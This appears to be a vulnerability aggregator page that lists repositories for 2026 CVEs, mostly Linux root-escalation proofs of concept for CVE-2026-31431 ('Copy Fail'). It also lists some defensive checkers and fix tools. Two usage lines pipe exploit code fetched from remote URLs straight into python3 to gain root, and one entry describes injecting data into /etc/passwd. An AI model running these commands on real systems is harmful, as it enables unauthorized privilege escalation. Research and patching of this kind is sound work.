autorootlinux

autorootlinux 一个基于CVE-2026-31431的获取root权限的linux脚本 本脚本仅供学习使用，请在测试环境使用（内核操作有风险） 使用方法: root@kitploit: chmod +x main.sh ./main.sh...

cve-2026-31431-check

cve-2026-31431-check cve-2026-31431-check 是一个小型 Bash 分流脚本，用于检查本地 Linux 系统针对 CVE-2026-31431（又称“Copy Fail”）的暴露与缓解指标。 该脚本针对 Debian、Ubuntu 及 Debian 系衍生发行版 （包括 Linux Mint、Pop!OS 以及类似的 dpkg/APT 系统）。在非 Debian 系主机或缺少 dpkg-query 时，脚本以退出码 3 结束。它不单独依赖内核版本判断，因为厂商补丁移植（backports）和缓解包可能使仅凭版本的检查产生误导。 在容器、chroot ...

cve_2026_31431_audit

CVE-2026-31431 审计 本项目提供了一个专业的 Python 脚本，用于检查系统是否受 CVE-2026-31431 漏洞影响，并演示如何利用该漏洞进行安全研究。 🎬 完整工作流程 下图展示了从环境审计（SCAN）、补丁注入（PUNCH）、到获取 root 权限提升（SHELL），最后进行痕迹清理（CLEAN）的完整流程： 🛠 核心功能 检测 ：通过非破坏性的影子序列检查当前内核是否受 CVE-2026-31431 漏洞影响。 利用 ：利用页面缓存劫持漏洞向 /etc/passwd 注入数据，以模拟权限提升。 验证 ：调用交互式环境验证提升后的权限并获取 root 访问权限。...

CVE-2026-31431-PocC

CVE-2026-31431-PocC CVE-2026-31431 C语言复现的poc，可在目标环境没有py时进行利用 漏洞基本信息 漏洞类型：Linux 内核 AFALG 子系统页面缓存投毒，通过污染 SUID 文件内容实现本地权限提升与可能的容器逃逸。 影响内核版本：Linux 内核 5.15 6.1.x（部分更低或更高版本也可能受影响，取决于 AFALG 相关编译选项）。 利用条件： 内核编译了 CONFIGCRYPTOUSERAPIAEAD 并支持 AEAD 算法（如 authenchmacsha256,cbcaes），或对应模块已加载。...

Copy-Fail-CVE-2026-31431-modernized

Copy-Fail-CVE-2026-31431-modernized Copy Fail PE 的现代化版本 使用方法： 只需克隆仓库并运行 Poc.py 即可 : 教育目的 此概念验证仅用于教育目的 灵感来源 ：theori-io 的主漏洞利用...

CVE-2026-34753

此存储库没有 README。...

copy-fail-CVE-2026-31431-Python-Golfing

此存储库没有 README。...

CVE-2026-31431

CVE-2026-31431...

portscan-CVE-2026-41940

portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 portscan-CVE-2026-41940 IP CIDR（可能作为输入，通过命令行或文件提供）并检查端口 2083 和 2087 是否开放 CIDR 端口扫描器（2083 和 2087） 一个轻量级、多线程的 Python 脚本，用于 CVE-2026-41940，可扫描一个或多个 CIDR 范围，检查 TCP 端口 2083 （cPanel SSL）和 2087 （cPanel SSL for...

CVE-2026-31431

CVE-2026-31431 概念验证（PoC） 本仓库包含针对 CVE-2026-31431 的概念验证（PoC）漏洞利用代码，演示了一个本地权限提升漏洞。 !WARNING 本项目仅限教育和安全研究目的使用 。 请仅在您拥有或已获得明确书面授权测试的系统上使用。 未经授权的使用可能违法，强烈不建议这样做。 使用方法 直接运行： root@kitploit: curl -s https://raw.githubusercontent.com/AliHzSec/CVE-2026-31431/refs/heads/master/main.py | python3 && su 祝黑客之旅愉快...

copy-fail-go

copy-fail-go grenkoca 的 Python PoC 的 Go 移植版本，针对 CVE-2026-31431 （copy-fail）。 此版本可编译为完全静态的二进制文件，零运行时依赖——无需 Python、无需 pip、无 libc 版本限制。将其放到任何 Linux 目标上即可运行。它还会自动枚举目标上所有 SUID 全局可读二进制文件，并让你通过交互式菜单选择要利用的目标。 仅限授权的安全研究和 CTF 使用。 什么是 CVE-2026-31431（copy-fail）？ 由 Theori 发现并于 2026 年 4 月 29 日 公开披露，Copy.Fail 是...

CVE-2026-24061

This repository does not have a README...

CVE-2026-87547

creationtimestamp| type| source ---|---|--- 2026-09-10 01:40:04+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mv4w7zldvo2f 2026-09-10 04:50:39+00:00| seen| https://www.hkcert.org/security-bulletin/google-chrome-multiple-vulnerabilities20260910 2026-09-10 10:07:07+00:00| seen|...

CVE-2026-4350

CVE-2026-4350 - Perfmatters WordPress 任意文件删除漏洞 描述 CVE-2026-4350 是 Perfmatters WordPress 插件中的一个任意文件删除漏洞。 CVE 详情 CVE: CVE-2026-4350 严重性: 高 CVSS: 8.1 受影响插件: Perfmatters 受影响版本: = 2.5.9.1 漏洞利用 python3 exploit/exploit.py http://target POC bash poc/poc.sh http://target 免责声明 仅供教育目的使用。...

copy-fail-CVE-2026-31431

复制失败：Linux 发行版 参考：https://xint.io/blog/copy-fail-linux-distributionsthe-demo-5...

notepad_CVE_2026_20841

此存储库没有 README。...

CVE-2026-2964-Lab

CVE‑2026‑2964 实验室 – 原型污染到远程代码执行 本仓库包含一个完整的 CVE‑2026‑2964 实验室环境，该漏洞是 web‑audio‑recorder‑js 库中的一个原型污染漏洞，在特定条件下可导致远程代码执行。 该实验室包含： 一个易受攻击的服务器（index-vulnerable.js），用于演示攻击链。 一个已修复的服务器（index-fixed.js），实现了适当的清理和允许列表验证。 直接从 GitHub 仓库拉取的原版易受攻击库代码。 通过单条命令即可完成环境搭建的脚本。 前置要求： Node.js（版本 18 或更高） npm（随 Node.js...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash 一些用法： root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

cpanel-cve-2026-41940-fix

cpanel-cve-2026-41940-fix 针对通过 CVE-2026-41940 及 nuclear.x86 僵尸网络攻击活动被入侵的 cPanel/WHM 服务器的一键检测与修复工具。 这是什么 2026年4月28日 ，cPanel 披露了一个影响所有 11.40 之后受支持的 cPanel 与 WHM 版本 的预认证 身份验证绕过漏洞（CVE-2026-41940，CVSS 9.8）。攻击者只需向 2087 端口发送一个 HTTP 请求，即可在未认证的情况下注入 user=root 会话并直接进入 WHM。 该漏洞的利用在野外至少自 2026年2月23日...

copyfail-rs

copyfail-rs Copy Fail 漏洞利用（CVE-2026-31431）的 Rust 实现，这是一个关键漏洞，通过链式利用 AFALG 和 splice 实现 4 字节页缓存写入，从而在主流 Linux 发行版上实现本地权限提升。 基于 Xint Code 的研究和 PoC。 免责声明 !CAUTION 本项目仅用于教育和研究目的 。在您不拥有或未经明确许可的系统上运行此漏洞利用程序是非法且不道德的。请负责任地使用此代码，以理解和防御类似的漏洞。 特性 纯 Rust 实现 ：高性能、内存安全的原始 Python PoC 实现。 动态 ELF 构建器...